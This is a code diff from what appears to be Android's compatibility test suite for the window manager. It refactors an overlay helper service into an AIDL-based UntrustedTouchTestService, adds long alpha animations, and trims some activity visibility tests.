+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.7"
+    android:toAlpha="0.7"
+    android:duration="@integer/long_animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
new file mode 100644
index 0000000..062c213
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="1"
+    android:toAlpha="1"
+    android:duration="@integer/long_animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
index ec6bb6c..69d88b3 100644
--- a/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
@@ -16,4 +16,5 @@
   -->
 <resources>
     <integer name="animation_duration">2000</integer>
+    <integer name="long_animation_duration">6000</integer>
 </resources>
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
index d8ff81d..3a0c523 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
@@ -21,12 +21,8 @@
 
 
 public class Components extends ComponentsBase {
-    public interface TestCompanionService {
-        ComponentName COMPONENT = component("TestCompanionService");
-        int ACTION_SHOW_SYSTEM_ALERT_WINDOW = 0;
-        int ACTION_SHOW_TOAST = 1;
-        String EXTRA_NAME = "name";
-        String EXTRA_OPACITY = "opacity";
+    public interface UntrustedTouchTestService {
+        ComponentName COMPONENT = component("UntrustedTouchTestService");
     }
 
     public interface OverlayActivity {
@@ -45,11 +41,11 @@
         int EXTRA_VALUE_ANIMATION_EMPTY = 0;
         int EXTRA_VALUE_ANIMATION_0_7 = 1;
         int EXTRA_VALUE_ANIMATION_0_9 = 2;
+        int EXTRA_VALUE_LONG_ANIMATION_0_7 = 3;
     }
 
     public interface ToastActivity {
         ComponentName COMPONENT = component("ToastActivity");
-        String EXTRA_CUSTOM = "custom";
     }
 
     private static ComponentName component(String className) {
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java
index 32fe008..c6db7ac 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OpaqueActivity.java
@@ -16,7 +16,7 @@
 
 package android.server.wm.overlay;
 
-import static android.server.wm.overlay.TestCompanionService.BACKGROUND_COLOR;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
 
 import android.app.Activity;
 import android.content.BroadcastReceiver;
@@ -24,7 +24,6 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Bundle;
-import android.util.Log;
 import android.view.View;
 
 import androidx.annotation.AnimRes;
@@ -61,7 +60,8 @@
                             Components.ActivityReceiver.EXTRA_ANIMATION,
                             Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY);
                     finish();
-                    overridePendingTransition(R.anim.alpha_1, getAnimationRes(exitAnimation));
+                    overridePendingTransition(getEnterAnimationRes(exitAnimation),
+                            getAnimationRes(exitAnimation));
                     break;
                 default:
                     throw new AssertionError("Unknown action" + intent.getAction());
@@ -69,6 +69,21 @@
         }
     };
 
+    /** An enter animation for a certain exit animation, mostly so durations match. */
+    @AnimRes
+    private static int getEnterAnimationRes(int exitAnimation) {
+        switch (exitAnimation) {
+            case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY:
+            case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_7:
+            case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
+                return R.anim.alpha_1;
+            case Components.ActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+                return R.anim.long_alpha_1;
+            default:
+                throw new AssertionError("Unknown animation value " + exitAnimation);
+        }
+    }
+
     @AnimRes
     private static int getAnimationRes(int animation) {
         switch (animation) {
@@ -78,6 +93,8 @@
                 return R.anim.alpha_0_7;
             case Components.ActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
                 return R.anim.alpha_0_9;
+            case Components.ActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+                return R.anim.long_alpha_0_7;
             default:
                 throw new AssertionError("Unknown animation value " + animation);
         }
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
index db1cf41..9a2075d 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
@@ -18,7 +18,7 @@
 
 import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOUCHABLE;
 import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_OPACITY;
-import static android.server.wm.overlay.TestCompanionService.BACKGROUND_COLOR;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
 
 import android.app.Activity;
 import android.content.Intent;
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TestCompanionService.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TestCompanionService.java
deleted file mode 100644
index bacaa56..0000000
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TestCompanionService.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.overlay;
-
-import static android.server.wm.overlay.Components.TestCompanionService.ACTION_SHOW_SYSTEM_ALERT_WINDOW;
-import static android.server.wm.overlay.Components.TestCompanionService.ACTION_SHOW_TOAST;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_NAME;
-import static android.server.wm.overlay.Components.TestCompanionService.EXTRA_OPACITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-
-import android.annotation.SuppressLint;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.PixelFormat;
-import android.hardware.display.DisplayManager;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Message;
-import android.os.Messenger;
-import android.util.ArrayMap;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowManager;
-import android.view.WindowManager.LayoutParams;
-import android.widget.Toast;
-
-import androidx.annotation.Nullable;
-
-import java.util.Map;
-
-
-public class TestCompanionService extends Service {
-    public static final int BACKGROUND_COLOR = 0xFF00FF00;
-
-    private final Handler mHandler = new ServiceHandler();
-    private final Map<Integer, Runnable> mActions = new ArrayMap<>();
-    private Messenger mMessenger;
-    private Bundle mData;
-    private Toast mToast;
-    private View mSawView;
-    private Context mSawContext;
-    private WindowManager mSawWindowManager;
-
-    @Override
-    public void onCreate() {
-        mMessenger = new Messenger(mHandler);
-        mActions.put(ACTION_SHOW_SYSTEM_ALERT_WINDOW, this::onSaw);
-        mActions.put(ACTION_SHOW_TOAST, this::onToast);
-
-        mSawContext = getContextForSaw(this);
-        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
-    }
-
-    @Nullable
-    @Override
-    public IBinder onBind(Intent intent) {
-        return mMessenger.getBinder();
-    }
-
-    @Override
-    public void onDestroy() {
-        mHandler.removeCallbacksAndMessages(null);
-        if (mSawView != null) {
-            mSawWindowManager.removeView(mSawView);
-        }
-        if (mToast != null) {
-            mToast.cancel();
-        }
-    }
-
-    protected void onSaw() {
-        String name = mData.getString(EXTRA_NAME);
-        float opacity = mData.getFloat(EXTRA_OPACITY);
-
-        mSawView = new View(mSawContext);
-        mSawView.setBackgroundColor(BACKGROUND_COLOR);
-        LayoutParams params =
-                new LayoutParams(
-                        LayoutParams.MATCH_PARENT,
-                        LayoutParams.MATCH_PARENT,
-                        LayoutParams.TYPE_APPLICATION_OVERLAY,
-                        LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
-                        PixelFormat.TRANSLUCENT);
-        params.setTitle(name);
-        params.alpha = opacity;
-        mSawWindowManager.addView(mSawView, params);
-    }
-
-    protected void onToast() {
-        mToast = Toast.makeText(this, "Toast from " + getPackageName(), Toast.LENGTH_LONG);
-        mToast.show();
-    }
-
-    protected void onUnknownAction(int message) {
-        throw new IllegalArgumentException("Unknown action " + message);
-    }
-
-    private static Context getContextForSaw(Context context) {
-        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
-        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
-        Context displayContext = context.createDisplayContext(display);
-        return displayContext.createWindowContext(LayoutParams.TYPE_APPLICATION_OVERLAY, null);
-    }
-
-    /** Suppressing since all messages are short-lived and we clear the queue on exit. */
-    @SuppressLint("HandlerLeak")
-    private class ServiceHandler extends Handler {
-        @Override
-        public void handleMessage(Message message) {
-            mData = message.getData();
-            mActions.getOrDefault(message.what, () -> onUnknownAction(message.what)).run();
-        }
-    }
-}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
index 8db467e..5870d91 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
@@ -16,7 +16,7 @@
 
 package android.server.wm.overlay;
 
-import static android.server.wm.overlay.TestCompanionService.BACKGROUND_COLOR;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
 
 import android.app.Activity;
 import android.util.Log;
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
new file mode 100644
index 0000000..e12fca3
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.server.wm.app.IUntrustedTouchTestService;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+
+import java.util.Collections;
+import java.util.Set;
+
+
+public class UntrustedTouchTestService extends Service {
+    public static final int BACKGROUND_COLOR = 0xFF00FF00;
+
+    private final IUntrustedTouchTestService mBinder = new Binder();
+    private final Set<View> mSawViews = Collections.synchronizedSet(new ArraySet<>());
+
+    /** Can only be accessed from the main thread. */
+    private Toast mToast;
+
+    private volatile Handler mMainHandler;
+    private volatile Context mSawContext;
+    private volatile WindowManager mSawWindowManager;
+
+    @Override
+    public void onCreate() {
+        mMainHandler = new Handler(Looper.getMainLooper());
+        mSawContext = getContextForSaw(this);
+        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder.asBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        removeOverlays();
+    }
+
+    private class Binder extends IUntrustedTouchTestService.Stub {
+        private final UntrustedTouchTestService mService = UntrustedTouchTestService.this;
+
+        @Override
+        public void showToast() {
+            mMainHandler.post(() -> {
+                mToast = Toast.makeText(mService, "Toast " + getPackageName(), Toast.LENGTH_LONG);
+                mToast.show();
+            });
+        }
+
+        @Override
+        public void showSystemAlertWindow(String windowName, float opacity) {
+            View view = new View(mSawContext);
+            view.setBackgroundColor(BACKGROUND_COLOR);
+            LayoutParams params =
+                    new LayoutParams(
+                            LayoutParams.MATCH_PARENT,
+                            LayoutParams.MATCH_PARENT,
+                            LayoutParams.TYPE_APPLICATION_OVERLAY,
+                            LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
+                            PixelFormat.TRANSLUCENT);
+            params.setTitle(windowName);
+            params.alpha = opacity;
+            mMainHandler.post(() -> mSawWindowManager.addView(view, params));
+            mSawViews.add(view);
+        }
+
+        public void removeOverlays() {
+            mService.removeOverlays();
+        }
+    }
+
+    private void removeOverlays() {
+        synchronized (mSawViews) {
+            for (View view : mSawViews) {
+                mSawWindowManager.removeView(view);
+            }
+            mSawViews.clear();
+        }
+        mMainHandler.post(() -> {
+            if (mToast != null) {
+                mToast.cancel();
+            }
+        });
+    }
+
+    private static Context getContextForSaw(Context context) {
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        Context displayContext = context.createDisplayContext(display);
+        return displayContext.createWindowContext(LayoutParams.TYPE_APPLICATION_OVERLAY, null);
+    }
+}
diff --git a/tests/framework/base/windowmanager/res/anim/alpha_0_7.xml b/tests/framework/base/windowmanager/res/anim/alpha_0_7.xml
deleted file mode 100644
index c58678b..0000000
--- a/tests/framework/base/windowmanager/res/anim/alpha_0_7.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<alpha
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:fromAlpha="0.7"
-    android:toAlpha="0.7"
-    android:duration="@integer/animation_duration"
-    />
diff --git a/tests/framework/base/windowmanager/res/anim/alpha_0_9.xml b/tests/framework/base/windowmanager/res/anim/alpha_0_9.xml
deleted file mode 100644
index 6f58a9a..0000000
--- a/tests/framework/base/windowmanager/res/anim/alpha_0_9.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<alpha
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:fromAlpha="0.9"
-    android:toAlpha="0.9"
-    android:duration="@integer/animation_duration"
-    />
diff --git a/tests/framework/base/windowmanager/res/anim/alpha_1.xml b/tests/framework/base/windowmanager/res/anim/alpha_1.xml
deleted file mode 100644
index 8b1a09e..0000000
--- a/tests/framework/base/windowmanager/res/anim/alpha_1.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<alpha
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:fromAlpha="1"
-    android:toAlpha="1"
-    android:duration="@integer/animation_duration"
-    />
diff --git a/tests/framework/base/windowmanager/res/values/values.xml b/tests/framework/base/windowmanager/res/values/values.xml
deleted file mode 100644
index ec6bb6c..0000000
--- a/tests/framework/base/windowmanager/res/values/values.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<resources>
-    <integer name="animation_duration">2000</integer>
-</resources>
diff --git a/tests/framework/base/windowmanager/shared/Android.bp b/tests/framework/base/windowmanager/shared/Android.bp
new file mode 100644
index 0000000..45e5fd3
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "cts-wm-shared",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+}
diff --git a/tests/framework/base/windowmanager/shared/README.md b/tests/framework/base/windowmanager/shared/README.md
new file mode 100644
index 0000000..6196414
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test helper apps (CtsDeviceServicesTestApp) and the test
+(CtsWindowManagerDeviceTestCases) itself.
diff --git a/tests/framework/base/windowmanager/shared/src/android/server/wm/app/IUntrustedTouchTestService.aidl b/tests/framework/base/windowmanager/shared/src/android/server/wm/app/IUntrustedTouchTestService.aidl
new file mode 100644
index 0000000..f367a4e
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/src/android/server/wm/app/IUntrustedTouchTestService.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+interface IUntrustedTouchTestService {
+    void showToast();
+    void showSystemAlertWindow(String windowName, float opacity);
+    void removeOverlays();
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 658b042..1061e9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -16,19 +16,14 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.content.Intent.ACTION_MAIN;
-import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
-import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
 import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
@@ -36,11 +31,9 @@
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.app.Components.ALT_LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
 import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
 import static android.server.wm.app.Components.DOCKED_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
 import static android.server.wm.app.Components.MOVE_TASK_TO_BACK_ACTIVITY;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.EXTRA_FINISH_POINT;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_PAUSE;
@@ -62,15 +55,11 @@
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
@@ -90,113 +79,28 @@
     @Rule
     public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
 
-    @Test
-    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmdOverHome(LAUNCH_PIP_ON_PIP_ACTIVITY));
-        mWmState.waitForValidState(LAUNCH_PIP_ON_PIP_ACTIVITY);
-        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
-        // translucent activity.
-        final int stackId = mWmState.getStackIdByActivity(
-                LAUNCH_PIP_ON_PIP_ACTIVITY);
-
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedRootTask(stackId);
-        mWmState.waitForValidState(
-                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_PINNED)
-                        .setActivityType(ACTIVITY_TYPE_STANDARD)
-                        .build());
-
-        mWmState.assertFrontStack("Pinned stack must be the front stack.",
-                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-    }
-
     /**
      * Asserts that the home activity is visible when a translucent activity is launched in the
      * fullscreen stack over the home activity.
      */
     @Test
-    public void testTranslucentActivityOnTopOfHome() throws Exception {
+    public void testTranslucentActivityOnTopOfHome() {
         if (!hasHomeScreen()) {
             return;
         }
 
         launchHomeActivity();
-        launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
+        launchActivity(TRANSLUCENT_ACTIVITY);
 
         mWmState.assertFrontStack("Fullscreen stack must be the front stack.",
                 WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-        mWmState.assertHomeActivityVisible(true);
-    }
-
-    /**
-     * Assert that the home activity is visible if a task that was launched from home is pinned
-     * and also assert the next task in the fullscreen stack isn't visible.
-     */
-    @Test
-    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip() || !hasHomeScreen()) {
-            return;
-        }
-
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY);
-        launchHomeActivity();
-        launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-        final int stackId = mWmState.getStackIdByActivity(
-                ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedRootTask(stackId);
-        mWmState.waitForValidState(
-                new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
-                        .setWindowingMode(WINDOWING_MODE_PINNED)
-                        .setActivityType(ACTIVITY_TYPE_STANDARD)
-                        .build());
-
-        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, false);
+        mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
         mWmState.assertHomeActivityVisible(true);
     }
 
     @Test
-    public void testHomeVisibleOnEmptyDisplay() throws Exception {
-        if (!hasHomeScreen()) {
-            return;
-        }
-
-        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
-        forceStopHome();
-
-        assertEquals(mWmState.getResumedActivitiesCount(), 0);
-        assertEquals(mWmState.getRootTasksCount() , 0);
-
-        pressHomeButton();
-
-        mWmState.waitForHomeActivityVisible();
-        mWmState.assertHomeActivityVisible(true);
-    }
-
-    private void forceStopHome() {
-        final Intent intent = new Intent(ACTION_MAIN);
-        intent.addCategory(CATEGORY_HOME);
-        final ResolveInfo resolveInfo =
-                mContext.getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
-        String KILL_APP_COMMAND = "am force-stop " + resolveInfo.activityInfo.packageName;
-
-        executeShellCommand(KILL_APP_COMMAND);
-    }
-
-    @Test
-    public void testTranslucentActivityOverDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
+    public void testTranslucentActivityOverMultiWindowActivity() {
+        if (!supportsMultiWindow()) {
             // Skipping test: no multi-window support
             return;
         }
@@ -204,15 +108,11 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        launchActivity(TRANSLUCENT_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        launchActivityInSecondarySplit(TRANSLUCENT_ACTIVITY);
         mWmState.computeState(
